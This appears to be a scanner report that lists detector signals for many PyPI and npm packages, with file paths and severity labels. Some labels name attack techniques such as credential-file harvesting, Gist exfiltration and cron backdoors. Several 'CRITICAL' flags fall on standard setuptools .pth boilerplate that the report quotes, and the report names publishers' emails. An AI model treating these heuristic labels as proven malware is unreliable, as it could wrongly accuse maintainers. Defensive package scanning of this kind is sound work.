• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/setup.py:25

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_hf_to_gguf.py:28
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_llama_ggml_to_gguf.py:14
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_lora_to_gguf.py:22
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/scripts/convert_shaders.py:100
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/setup.py:25
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/setup.py:56
• SUSPICIOUS_OBFUSCATION: 'Dense Hex Escape Sequences' found in llama_cpp_server_py_core-0.1.4/llama.cpp/gguf-py/gguf/quants.py:660
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/gguf-py/gguf/scripts/gguf_convert_endian.py:14

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in cli_tools_kit-0.6.0/cli_tools_kit/cron_installer.py:72
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in cli_tools_kit-0.6.0/cli_tools_kit/cron_installer.py:64
• CRITICALSOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in cli_tools_kit-0.6.0/cli_tools_kit/cron_installer.py
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in cli_tools_kit-0.6.0/cli_tools_kit/gui_installer.py:485
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in cli_tools_kit-0.6.0/cli_tools_kit/gui_installer.py:1097
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in cli_tools_kit-0.6.0/cli_tools_kit/host.py:224

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in cli_tools_kit-0.6.0/cli_tools_kit/cron_installer.py:72
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in cli_tools_kit-0.6.0/cli_tools_kit/cron_installer.py:64
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in cli_tools_kit-0.6.0/cli_tools_kit/cron_installer.py
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in cli_tools_kit-0.6.0/cli_tools_kit/gui_installer.py:485
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in cli_tools_kit-0.6.0/cli_tools_kit/gui_installer.py:1097
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in cli_tools_kit-0.6.0/cli_tools_kit/host.py:224
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in cli_tools_kit-0.6.0/cli_tools_kit/host.py:160
• SYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in cli_tools_kit-0.6.0/cli_tools_kit/host.py:193

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in graphban_fleet-0.1.0/scripts/verify_hostos_windows.py:43
• HIGHANTI_ANALYSIS_EVASION: 'Extended Scanner Timeout Stall' found in graphban_fleet-0.1.0/scripts/verify_hostos_windows.py:51
• CRITICALSOURCE_CODE_EVASIVE_PAYLOAD: anti-analysis evasion combined with execution/payload hook in graphban_fleet-0.1.0/scripts/verify_hostos_windows.py
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in graphban_fleet-0.1.0/src/gbagent/cli.py:68
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in graphban_fleet-0.1.0/src/gbagent/config.py:170
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in graphban_fleet-0.1.0/src/gbagent/verify.py:87

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in graphban_fleet-0.1.0/scripts/verify_hostos_windows.py:43
• ANTI_ANALYSIS_EVASION: 'Extended Scanner Timeout Stall' found in graphban_fleet-0.1.0/scripts/verify_hostos_windows.py:51
• SOURCE_CODE_EVASIVE_PAYLOAD: anti-analysis evasion combined with execution/payload hook in graphban_fleet-0.1.0/scripts/verify_hostos_windows.py
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in graphban_fleet-0.1.0/src/gbagent/cli.py:68
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in graphban_fleet-0.1.0/src/gbagent/config.py:170
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in graphban_fleet-0.1.0/src/gbagent/verify.py:87
• CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in graphban_fleet-0.1.0/src/gbagent/workspace.py:13
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in graphban_fleet-0.1.0/src/gbfleet/cli.py:382

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('LLAMA').
• HIGHPublisher email 'oloruntoba.madamori@totogi.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 270 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/test.py:5
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/llamacloud_mcp/main.py:172
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in llama_mcp_server-0.2.0/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• HIGHPYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: llama_mcp_server-0.2.0/venv/Lib/site-packages/pywin32.pth
• HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'llama_mcp_server-0.2.0/venv/Scripts/docutils.exe' in package archive

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/test.py:5
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_mcp_server-0.2.0/llamacloud_mcp/main.py:172
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in llama_mcp_server-0.2.0/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• PYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: llama_mcp_server-0.2.0/venv/Lib/site-packages/pywin32.pth
• BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'llama_mcp_server-0.2.0/venv/Scripts/docutils.exe' in package archive
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_mcp_server-0.2.0/venv/Scripts/pywin32_testall.py:25

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'skelform-kraken' matches AI hallucination template [python] + [kraken] + [skelform].
• HIGHClaims critical enterprise brand identity ('KRAKEN').
• HIGHPublisher email 'darkglasses1122@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 197 days ago within the 1-year AI tool proliferation window.
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in skelform_kraken-0.7.0/venv/lib/python3.14/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in skelform_kraken-0.7.0/venv/lib/python3.14/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'ultimate-sol' matches AI hallucination template [python] + [sol] + [ultimate].
• HIGHClaims critical enterprise brand identity ('SOL').
• HIGHPublisher email 'smbd0x@rambler.ru' is not affiliated with official vendor domain.
• HIGHPYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: ultimate_sol-0.0.3/venv/Lib/site-packages/_virtualenv.pth
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in ultimate_sol-0.0.3/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ultimate_sol-0.0.3/venv/Scripts/activate_this.py:24
• HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'ultimate_sol-0.0.3/venv/Scripts/base58.exe' in package archive
• INFOSubstantial functional codebase (537 LOC across 7 file(s)).

• PYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: ultimate_sol-0.0.3/venv/Lib/site-packages/_virtualenv.pth
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in ultimate_sol-0.0.3/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in ultimate_sol-0.0.3/venv/Scripts/activate_this.py:24
• BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'ultimate_sol-0.0.3/venv/Scripts/base58.exe' in package archive

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('WEB3').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'openapi'
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in package/dist/index.js:79
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:90

• LIFECYCLE_SCRIPT: 'postinstall' -> 'openapi'
• MISSING_SOURCE_REPOSITORY_URL
• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in package/dist/index.js:79
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:90

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (52 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/adversarial_capability_gate.py:67
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/check_docs_currency.py:101
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_ledger.py:149
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_workers.py:59
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/full_system_gate.py:997
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/full_system_gate.py:265

• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/adversarial_capability_gate.py:67
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/check_docs_currency.py:101
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_ledger.py:149
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/fault_inject_workers.py:59
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/full_system_gate.py:997
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in enginery-0.5.0/scripts/full_system_gate.py:265
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/release_consumer_smoke.py:18
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in enginery-0.5.0/scripts/release_gate.py:96

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'tlc-claude-code' matches AI hallucination template [tlc] + [claude] + [code].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk.
• MEDIUMPackage registered 225 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node bin/postinstall.js'
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/server/lib/access-control.js:320 (+2 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/server/lib/agent-persistence.js:28 (+31 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/server/lib/api-provider.js:45 (+22 more occurrence(s) elsewhere)

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node bin/postinstall.js'
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/server/lib/access-control.js:320 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/server/lib/agent-persistence.js:28 (+31 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/server/lib/api-provider.js:45 (+22 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/server/lib/audit-attribution.js:5 (+26 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/server/lib/audit-attribution.js:18 (+15 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/server/lib/security/auth-security.js:91 (+5 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'require('http(s)')' found in package/server/lib/security/compose-templates.js:53 (+4 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'one-claude' matches AI hallucination template [python] + [claude] + [one].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage registered 240 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/cli.py:221
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/cli.py:356
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'GitHub Gists API Exfiltration (Dead Drop)' found in one_claude-0.1.5/one_claude/gist/api.py:9
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/gist/api.py:10

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/cli.py:221
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/cli.py:356
• EXFILTRATION_DESTINATION_DETECTED: 'GitHub Gists API Exfiltration (Dead Drop)' found in one_claude-0.1.5/one_claude/gist/api.py:9
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in one_claude-0.1.5/one_claude/gist/api.py:10
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/gist/exporter.py:36
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/teleport/sandbox.py:30
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/tui/screens/gist_modals.py:123
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in one_claude-0.1.5/one_claude/tui/screens/home.py:603

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'zuogl448@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage registered 352 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node postinstall.js'
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/ccc-setup.js:6 (+3 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/ccc-setup.js:50 (+2 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/ccc-setup.js:32 (+4 more occurrence(s) elsewhere)
• HIGHCREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in package/bin/ccc.js:103

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node postinstall.js'
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/ccc-setup.js:6 (+3 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/ccc-setup.js:50 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/ccc-setup.js:32 (+4 more occurrence(s) elsewhere)
• CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in package/bin/ccc.js:103

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• INFOPublisher email domain '@paystack.com' matches package identifier token 'paystack', verifying identifiable third-party organization ownership.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• MEDIUMPackage registered 266 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/customer_api.py:671
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/plan_api.py:214
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/split_api.py:70
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/subaccount_api.py:212
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/subscription_api.py:509

• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/customer_api.py:671
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/plan_api.py:214
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/split_api.py:70
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/subaccount_api.py:212
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/subscription_api.py:509
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in alexasomba_paystack-1.1.6/alexasomba_paystack/api/transaction_api.py:720
• OBFUSCATED_DYNAMIC_ACCESS: __import__() dynamic loading 'os' detected in alexasomba_paystack-1.1.6/setup.py:50

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 3348 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_attachment_base_synchronize-10.0.1.0.0.99.dev15-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• SYNTAX_ERROR_IN_odoo/addons/attachment_base_synchronize/models/attachment.py: multiple exception types must be parenthesized (<unknown>, line 79)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 3349 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
